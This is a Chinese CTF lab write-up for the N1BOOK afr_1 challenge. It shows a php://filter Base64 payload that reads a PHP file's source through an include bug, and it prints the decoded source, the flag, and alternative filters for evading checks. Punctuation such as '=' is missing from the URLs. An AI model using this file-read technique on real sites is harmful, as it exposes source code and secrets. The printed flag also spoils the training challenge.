
Writeup 4 N1BOOK afr_1题目信息项目内容题目名称afr-1题目来源N1BOOK-第一章Web入门-任意文件读取漏洞-afr_1本题为Nu1L团队编著的《从0到1CTFer成长之路》的配套题目。来源网站https://book.nu1l.com/题目类型Web考点PHP文件包含漏洞 php://filter伪协议。靶机http://challenge-2add095438b79cd3.sandbox.ctfhub.com:10800Flagn1book{afr_1_solved}解题过程第 1 步使用 php://filter 绕过访问http://challenge-2add095438b79cd3.sandbox.ctfhub.com:10800/?pphp://filter/readconvert.base64-encode/resourceflag页面返回PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9Cg第 2 步Base64解码得到?phpdie(no no no);//n1book{afr_1_solved}Flag 就藏在源码注释中n1book{afr_1_solved}核心知识点这道题的关键是php://filter伪协议。用途读取源码最常用不执行代码只把文件内容读取出来。是任意文件读取题的首选。php://filter是 PHP 中用于对数据流进行过滤和转换的封装协议。readconvert.base64-encode表示在读取文件时先进行 Base64 编码resource指定目标文件路径。这种方式不仅能绕过die()阻止直接输出内容的问题还能防止特殊字符被浏览器或后端解析是 CTF 中任意文件读取的经典手法。为什么需要它直接include(flag.php)时PHP 会执行该文件flag变量或echo的输出可能被条件限制比如题目里的die(no no no)。用filter可以在文件被“打开”的瞬间进行编码转换让 PHP 来不及执行只把源码吐出来。语法php://filter/read过滤器/resource目标文件CTF 最常用的写法http://challenge-2add095438b79cd3.sandbox.ctfhub.com:10800?pphp://filter/readconvert.base64-encode/resourceflag拿到 Base64 字符串后解码即可看到源码。其他可用过滤器string.rot13ROT13 编码convert.iconv.UTF8.UTF16字符集转换可用于绕过某些过滤string.strip_tags去除 HTML/PHP 标签注意/resource必须放在最后resource后面的文件名不需要转义。Rambo2026年10月07日